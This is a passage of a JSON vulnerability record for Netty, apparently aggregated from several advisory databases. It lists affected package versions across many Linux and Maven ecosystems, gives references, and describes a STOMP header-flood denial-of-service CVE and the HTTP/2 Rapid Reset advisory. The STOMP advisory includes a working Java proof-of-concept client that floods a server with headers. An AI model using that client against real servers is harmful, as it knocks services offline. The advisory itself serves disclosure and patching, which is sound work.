2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-memcache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-smtp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"Debian:12","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-10","1:4.1.48-11","1:4.1.48-12","1:4.1.48-13","1:4.1.48-14","1:4.1.48-15","1:4.1.48-16","1:4.1.48-7","1:4.1.48-7+deb12u1","1:4.1.48-7+deb12u2","1:4.1.48-8","1:4.1.48-9"]},{"source":"osv","ecosystem":"Debian:13","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-10","1:4.1.48-10+deb13u1","1:4.1.48-11","1:4.1.48-12","1:4.1.48-13","1:4.1.48-14","1:4.1.48-15","1:4.1.48-16"]},{"source":"osv","ecosystem":"Debian:14","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-10","1:4.1.48-11","1:4.1.48-12","1:4.1.48-13","1:4.1.48-14","1:4.1.48-15","1:4.1.48-16"]},{"source":"osv","ecosystem":"Maven","package":"io.netty:netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.2.0.Alpha1"},{"fixed":"4.2.16.Final"}]}],"versions":["4.2.0.Alpha1","4.2.0.Alpha2","4.2.0.Alpha3","4.2.0.Alpha4","4.2.0.Alpha5","4.2.0.Beta1","4.2.0.Final","4.2.0.RC1","4.2.0.RC2","4.2.0.RC3","4.2.0.RC4","4.2.1.Final","4.2.10.Final","4.2.11.Final","4.2.12.Final","4.2.13.Final","4.2.14.Final","4.2.15.Final","4.2.2.Final","4.2.3.Final","4.2.4.Final","4.2.5.Final","4.2.6.Final","4.2.7.Final","4.2.8.Final","4.2.9.Final"]},{"source":"osv","ecosystem":"Maven","package":"io.netty:netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.136.Final"}]}],"versions":["4.1.0.Beta1","4.1.0.Beta2","4.1.0.Beta3","4.1.0.Beta4","4.1.0.Beta5","4.1.0.Beta6","4.1.0.Beta7","4.1.0.Beta8","4.1.0.CR1","4.1.0.CR2","4.1.0.CR3","4.1.0.CR4","4.1.0.CR5","4.1.0.CR6","4.1.0.CR7","4.1.0.Final","4.1.1.Final","4.1.10.Final","4.1.100.Final","4.1.101.Final","4.1.102.Final","4.1.103.Final","4.1.104.Final","4.1.105.Final","4.1.106.Final","4.1.107.Final","4.1.108.Final","4.1.109.Final","4.1.11.Final","4.1.110.Final","4.1.111.Final","4.1.112.Final","4.1.113.Final","4.1.114.Final","4.1.115.Final","4.1.116.Final","4.1.117.Final","4.1.118.Final","4.1.119.Final","4.1.12.Final","4.1.120.Final","4.1.121.Final","4.1.122.Final","4.1.123.Final","4.1.124.Final","4.1.125.Final","4.1.126.Final","4.1.127.Final","4.1.128.Final","4.1.129.Final","4.1.13.Final","4.1.130.Final","4.1.131.Final","4.1.132.Final","4.1.133.Final","4.1.134.Final","4.1.135.Final","4.1.14.Final","4.1.15.Final","4.1.16.Final","4.1.17.Final","4.1.18.Final","4.1.19.Final","4.1.2.Final","4.1.20.Final","4.1.21.Final","4.1.22.Final","4.1.23.Final","4.1.24.Final","4.1.25.Final","4.1.26.Final","4.1.27.Final","4.1.28.Final","4.1.29.Final","4.1.3.Final","4.1.30.Final","4.1.31.Final","4.1.32.Final","4.1.33.Final","4.1.34.Final","4.1.35.Final","4.1.36.Final","4.1.37.Final","4.1.38.Final","4.1.39.Final","4.1.4.Final","4.1.40.Final","4.1.41.Final","4.1.42.Final","4.1.43.Final","4.1.44.Final","4.1.45.Final","4.1.46.Final","4.1.47.Final","4.1.48.Final","4.1.49.Final","4.1.5.Final","4.1.50.Final","4.1.51.Final","4.1.52.Final","4.1.53.Final","4.1.54.Final","4.1.55.Final","4.1.56.Final","4.1.57.Final","4.1.58.Final","4.1.59.Final","4.1.6.Final","4.1.60.Final","4.1.61.Final","4.1.62.Final","4.1.63.Final","4.1.64.Final","4.1.65.Final","4.1.66.Final","4.1.67.Final","4.1.68.Final","4.1.69.Final","4.1.7.Final","4.1.70.Final","4.1.71.Final","4.1.72.Final","4.1.73.Final","4.1.74.Final","4.1.75.Final","4.1.76.Final","4.1.77.Final","4.1.78.Final","4.1.79.Final","4.1.8.Final","4.1.80.Final","4.1.81.Final","4.1.82.Final","4.1.83.Final","4.1.84.Final","4.1.85.Final","4.1.86.Final","4.1.87.Final","4.1.88.Final","4.1.89.Final","4.1.9.Final","4.1.90.Final","4.1.91.Final","4.1.92.Final","4.1.93.Final","4.1.94.Final","4.1.95.Final","4.1.96.Final","4.1.97.Final","4.1.98.Final","4.1.99.Final"]},{"source":"osv","ecosystem":"Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.100.Final"}]}],"versions":["4.1.0.Beta4","4.1.0.Beta5","4.1.0.Beta6","4.1.0.Beta7","4.1.0.Beta8","4.1.0.CR1","4.1.0.CR2","4.1.0.CR3","4.1.0.CR4","4.1.0.CR5","4.1.0.CR6","4.1.0.CR7","4.1.0.Final","4.1.1.Final","4.1.10.Final","4.1.11.Final","4.1.12.Final","4.1.13.Final","4.1.14.Final","4.1.15.Final","4.1.16.Final","4.1.17.Final","4.1.18.Final","4.1.19.Final","4.1.2.Final","4.1.20.Final","4.1.21.Final","4.1.22.Final","4.1.23.Final","4.1.24.Final","4.1.25.Final","4.1.26.Final","4.1.27.Final","4.1.28.Final","4.1.29.Final","4.1.3.Final","4.1.30.Final","4.1.31.Final","4.1.32.Final","4.1.33.Final","4.1.34.Final","4.1.35.Final","4.1.36.Final","4.1.37.Final","4.1.38.Final","4.1.39.Final","4.1.4.Final","4.1.40.Final","4.1.41.Final","4.1.42.Final","4.1.43.Final","4.1.44.Final","4.1.45.Final","4.1.46.Final","4.1.47.Final","4.1.48.Final","4.1.49.Final","4.1.5.Final","4.1.50.Final","4.1.51.Final","4.1.52.Final","4.1.53.Final","4.1.54.Final","4.1.55.Final","4.1.56.Final","4.1.57.Final","4.1.58.Final","4.1.59.Final","4.1.6.Final","4.1.60.Final","4.1.61.Final","4.1.62.Final","4.1.63.Final","4.1.64.Final","4.1.65.Final","4.1.66.Final","4.1.67.Final","4.1.68.Final","4.1.69.Final","4.1.7.Final","4.1.70.Final","4.1.71.Final","4.1.72.Final","4.1.73.Final","4.1.74.Final","4.1.75.Final","4.1.76.Final","4.1.77.Final","4.1.78.Final","4.1.79.Final","4.1.8.Final","4.1.80.Final","4.1.81.Final","4.1.82.Final","4.1.83.Final","4.1.84.Final","4.1.85.Final","4.1.86.Final","4.1.87.Final","4.1.88.Final","4.1.89.Final","4.1.9.Final","4.1.90.Final","4.1.91.Final","4.1.92.Final","4.1.93.Final","4.1.94.Final","4.1.95.Final","4.1.96.Final","4.1.97.Final","4.1.98.Final","4.1.99.Final"]},{"source":"osv","ecosystem":"Red Hat Lightwell:Maven","package":"io.netty:netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.100.Final-rhlw-00001"}]}],"versions":["4.1.0.Beta1","4.1.0.Beta2","4.1.0.Beta3","4.1.0.Beta4","4.1.0.Beta5","4.1.0.Beta6","4.1.0.Beta7","4.1.0.Beta8","4.1.0.CR1","4.1.0.CR2","4.1.0.CR3","4.1.0.CR4","4.1.0.CR5","4.1.0.CR6","4.1.0.CR7","4.1.0.Final","4.1.1.Final","4.1.10.Final","4.1.100.Final","4.1.11.Final","4.1.12.Final","4.1.13.Final","4.1.14.Final","4.1.15.Final","4.1.16.Final","4.1.17.Final","4.1.18.Final","4.1.19.Final","4.1.2.Final","4.1.20.Final","4.1.21.Final","4.1.22.Final","4.1.23.Final","4.1.24.Final","4.1.25.Final","4.1.26.Final","4.1.27.Final","4.1.28.Final","4.1.29.Final","4.1.3.Final","4.1.30.Final","4.1.31.Final","4.1.32.Final","4.1.33.Final","4.1.34.Final","4.1.35.Final","4.1.36.Final","4.1.37.Final","4.1.38.Final","4.1.39.Final","4.1.4.Final","4.1.40.Final","4.1.41.Final","4.1.42.Final","4.1.43.Final","4.1.44.Final","4.1.45.Final","4.1.46.Final","4.1.47.Final","4.1.48.Final","4.1.49.Final","4.1.5.Final","4.1.50.Final","4.1.51.Final","4.1.52.Final","4.1.53.Final","4.1.54.Final","4.1.55.Final","4.1.56.Final","4.1.57.Final","4.1.58.Final","4.1.59.Final","4.1.6.Final","4.1.60.Final","4.1.61.Final","4.1.62.Final","4.1.63.Final","4.1.64.Final","4.1.65.Final","4.1.66.Final","4.1.67.Final","4.1.68.Final","4.1.69.Final","4.1.7.Final","4.1.70.Final","4.1.71.Final","4.1.72.Final","4.1.73.Final","4.1.74.Final","4.1.75.Final","4.1.76.Final","4.1.77.Final","4.1.78.Final","4.1.79.Final","4.1.8.Final","4.1.80.Final","4.1.81.Final","4.1.82.Final","4.1.83.Final","4.1.84.Final","4.1.85.Final","4.1.86.Final","4.1.87.Final","4.1.88.Final","4.1.89.Final","4.1.9.Final","4.1.90.Final","4.1.91.Final","4.1.92.Final","4.1.93.Final","4.1.94.Final","4.1.95.Final","4.1.96.Final","4.1.97.Final","4.1.98.Final","4.1.99.Final"],"bundled":2},{"source":"osv","ecosystem":"Root:Maven","package":"io.root.io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.97.Final-root.io.1"},{"fixed":"4.1.97.Final-root.io.2"},{"fixed":"4.1.97.Final-root.io.3"},{"fixed":"4.1.97.Final-root.io.4"},{"fixed":"4.1.97.Final-root.io.5"},{"fixed":"4.1.97.Final-root.io.6"},{"fixed":"4.1.97.Final-root.io.7"}]}]},{"source":"osv","ecosystem":"Root:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.97.Final-aikido.7"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Development Tools 15 SP7","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.80-150200.3.48.1"}]}],"bundled":19},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Package Hub 15 SP7","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.136-150200.4.53.1"}]}],"bundled":19},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.80-150200.3.48.1"}]}],"bundled":19},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.80-150200.3.48.1"}]}],"bundled":19},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.80-150200.3.48.1"}]}],"bundled":19},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.80-150200.3.48.1"}]}],"bundled":19},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.80-150200.3.48.1"}]}],"bundled":19},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.80-150200.3.48.1"}]}],"bundled":19},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.80-150200.3.48.1"}]}],"bundled":19},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.80-150200.3.48.1"}]}],"bundled":19},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.80-150200.3.48.1"}]}],"bundled":19},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.80-150200.3.48.1"}]}],"bundled":19},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:3.2.6.Final-2","1:3.2.6.Final-2+deb8u2build0.14.04.1~esm1","1:3.2.6.Final-2+deb8u2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:3.2.6.Final-2","1:4.0.32-1","1:4.0.33-1","1:4.0.34-1","1:4.0.34-1ubuntu0.1~esm1","1:4.0.34-1ubuntu0.1~esm2","1:4.0.34-1ubuntu0.1~esm3","1:4.0.34-1ubuntu0.1~esm4","1:4.0.34-1ubuntu0.1~esm5"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.7-4","1:4.1.7-4ubuntu0.1~esm1","1:4.1.7-4ubuntu0.1","1:4.1.7-4ubuntu0.1+esm1","1:4.1.7-4ubuntu0.1+esm2","1:4.1.7-4ubuntu0.1+esm3","1:4.1.7-4ubuntu0.1+esm4","1:4.1.7-4ubuntu0.1+esm5","1:4.1.7-4ubuntu0.1+esm6","1:4.1.7-4ubuntu0.1+esm7"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.33-1","1:4.1.33-2","1:4.1.33-3","1:4.1.45-1","1:4.1.45-1ubuntu0.1~esm1","1:4.1.45-1ubuntu0.1~esm2","1:4.1.45-1ubuntu0.1~esm3","1:4.1.45-1ubuntu0.1~esm4","1:4.1.45-1ubuntu0.1~esm6","1:4.1.45-1ubuntu0.1~esm7"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-4","1:4.1.48-4+deb11u1build0.22.04.1","1:4.1.48-4+deb11u2build0.22.04.1","1:4.1.48-4+deb11u2ubuntu0.1~esm1","1:4.1.48-4+deb11u2ubuntu0.1~esm2","1:4.1.48-4+deb11u2ubuntu0.1","1:4.1.48-4+deb11u2ubuntu0.1+esm1","1:4.1.48-4+deb11u2ubuntu0.1+esm3","1:4.1.48-4+deb11u2ubuntu0.2","1:4.1.48-4+deb11u2ubuntu0.2+esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-7","1:4.1.48-8","1:4.1.48-9","1:4.1.48-9ubuntu0.1~esm1","1:4.1.48-9ubuntu0.1~esm2","1:4.1.48-9ubuntu0.1","1:4.1.48-9ubuntu0.1+esm1","1:4.1.48-9ubuntu0.1+esm3","1:4.1.48-9ubuntu0.2","1:4.1.48-9ubuntu0.2+esm1","1:4.1.48-9ubuntu0.2+esm2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-16","1:4.1.48-16ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-10","1:4.1.48-11","1:4.1.48-12","1:4.1.48-13","1:4.1.48-14","1:4.1.48-16","1:4.1.48-16ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.136-1.1"}]}],"bundled":19}],"affected_more":316,"products":[{"vendor":"netty","product":"netty"}],"references":[{"url":"https://github.com/netty/netty/security/advisories/GHSA-vhch-2wf3-m8rp","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/netty/netty/pull/17063","tags":["x_refsource_MISC","Issue Tracking","Patch","fix","report"]},{"url":"https://github.com/netty/netty/pull/17065","tags":["x_refsource_MISC","Issue Tracking","Patch","fix","report"]},{"url":"https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b","tags":["x_refsource_MISC","Patch","fix","report"]},{"url":"https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6","tags":["x_refsource_MISC","Patch","fix","report"]},{"url":"https://github.com/netty/netty/releases/tag/netty-4.1.136.Final","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://github.com/netty/netty/releases/tag/netty-4.2.16.Final","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://github.com/advisories/GHSA-vhch-2wf3-m8rp","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-xpw8-rcwv-8f8p","tags":["web"]},{"url":"https://github.com/netty/netty/commit/58f75f665aa81a8cbcf6ffa74820042a285c5e61","tags":["web"]},{"url":"https://github.com/apple/swift-nio-http2/security/advisories/GHSA-qppj-fm5r-hxr3","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-44487","tags":["advisory"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2023-44487","tags":["web"]},{"url":"https://github.com/advisories/GHSA-xpw8-rcwv-8f8p"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44891.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44891","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-44891","tags":["advisory"]},{"url":"https://github.com/netty/netty","tags":["package"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59920.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-3g8r-4pfx-jmfh","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59920","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-3g8r-4pfx-jmfh","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20263482-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1271435","tags":["report"]},{"url":"https://bugzilla.suse.com/1271960","tags":["report"]},{"url":"https://bugzilla.suse.com/1271961","tags":["report"]},{"url":"https://bugzilla.suse.com/1272253","tags":["report"]},{"url":"https://bugzilla.suse.com/1272254","tags":["report"]},{"url":"https://bugzilla.suse.com/1272255","tags":["report"]},{"url":"https://bugzilla.suse.com/1272257","tags":["report"]},{"url":"https://bugzilla.suse.com/1272258","tags":["report"]},{"url":"https://bugzilla.suse.com/1272259","tags":["report"]},{"url":"https://bugzilla.suse.com/1272299","tags":["report"]},{"url":"https://bugzilla.suse.com/1272300","tags":["report"]},{"url":"https://bugzilla.suse.com/1272301","tags":["report"]},{"url":"https://bugzilla.suse.com/1272302","tags":["report"]},{"url":"https://bugzilla.suse.com/1272303","tags":["report"]},{"url":"https://bugzilla.suse.com/1272304","tags":["report"]},{"url":"https://bugzilla.suse.com/1272305","tags":["report"]},{"url":"https://bugzilla.suse.com/1272306","tags":["report"]},{"url":"https://bugzilla.suse.com/1272307","tags":["report"]},{"url":"https://bugzilla.suse.com/1272518","tags":["report"]},{"url":"https://bugzilla.suse.com/1272519","tags":["report"]},{"url":"https://bugzilla.suse.com/1272603","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44891","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55831","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55833","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55851","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56745","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56746","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56817","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56818","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56819","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56820","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56821","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56822","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59898","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59899","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59900","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59901","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59919","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59920","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59921","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-44891","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44891","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-44891","title":"Netty: Denial of Service via Unbounded Headers in StompSubframeDecoder","description":"Netty is a network application framework for development of protocol servers and clients. Prior to 4.1.136.Final and 4.2.16.Final, io.netty.handler.codec.stomp.StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, and the maxLineLength parameter only restricts individual header lines. An attacker can send a large number of short headers that are accumulated in memory inside DefaultStompHeadersSubframe until the JVM throws an OutOfMemoryError, causing denial of service for servers exposing a STOMP endpoint based on StompSubframeDecoder. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.","status":"published","published":"2026-07-17T20:16:24.486Z","modified":"2026-07-20T14:00:09.257Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T13:43:00.288193Z"}],"euvd":[{"id":"EUVD-2026-45316","description":"Netty is a network application framework for development of protocol servers and clients. Prior to 4.1.136.Final and 4.2.16.Final, io.netty.handler.codec.stomp.StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, and the maxLineLength parameter only restricts individual header lines. An attacker can send a large number of short headers that are accumulated in memory inside DefaultStompHeadersSubframe until the JVM throws an OutOfMemoryError, causing denial of service for servers exposing a STOMP endpoint based on StompSubframeDecoder. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.","status":"published","published":"2026-07-17T20:16:24Z","modified":"2026-07-20T14:00:09Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T18:19:49.035342Z"}],"ghsa":[{"id":"GHSA-vhch-2wf3-m8rp","title":"Netty: Denial of Service via Unbounded Headers in StompSubframeDecoder","description":"### Summary\nThe StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, allowing an attacker to cause an OutOfMemoryError, leading to a Denial of Service.\n\n### Details\n`io.netty.handler.codec.stomp.StompSubframeDecoder` implements the STOMP protocol. The `maxLineLength` parameter restricts the length of individual header lines, but there is no mechanism to limit the total number of headers in a single STOMP frame. An attacker can send a large number of short headers (e.g., `a: 1\\n`), which are accumulated in memory inside the `DefaultStompHeadersSubframe` until the JVM throws an OutOfMemoryError.\n\n### PoC\nRun the server with `-Xmx256m`\n\n```java\npublic final class ServerApp {\n    public static void main(String[] args) throws Exception {\n        EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n        try {\n            ChannelFuture serverFuture = new ServerBootstrap()\n                    .group(group)\n                    .channel(NioServerSocketChannel.class)\n                    .childHandler(new StompSubframeDecoder())\n                    .bind(8080)\n                    .sync();\n            serverFuture.channel().closeFuture().sync();\n        } finally {\n            group.shutdownGracefully();\n        }\n    }\n}\n```\n\n```java\npublic final class ClientApp {\n    public static void main(String[] args) throws Exception {\n        try (Socket socket = new Socket(\"127.0.0.1\", 8080)) {\n            OutputStream out = socket.getOutputStream();\n\n            out.write(\"CONNECT\\n\".getBytes(StandardCharsets.UTF_8));\n\n            StringBuilder sb = new StringBuilder();\n            for (int i = 0; i \u003c 1000; i++) {\n                sb.append(\"a:1\\n\");\n            }\n            byte[] bulkHeaders = sb.toString().getBytes(StandardCharsets.UTF_8);\n\n            for (int i = 1; i \u003c= 50_000; i++) {\n                out.write(bulkHeaders);\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}\n```\n\n### Impact\nDenial of Service: An attacker can easily exhaust the server's memory by sending a single malicious STOMP message. Any server exposing a STOMP endpoint based on StompSubframeDecoder is vulnerable to DoS.","status":"published","published":"2026-07-14T20:16:34Z","modified":"2026-07-14T20:16:37Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T14:40:43.958448Z"},{"id":"GHSA-xpw8-rcwv-8f8p","title":"io.netty:netty-codec-http2 vulnerable to HTTP/2 Rapid Reset Attack","description":"A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. \n\n### Impact\nThis is a DDOS attack, any http2 server is affected and so you should update as soon as possible.\n\n### Patches\nThis is patched in version 4.1.100.Final.\n\n### Workarounds\nA user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used).\n\n### References\n- https://www.cve.org/CVERecord?id=CVE-2023-44487\n- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/\n- 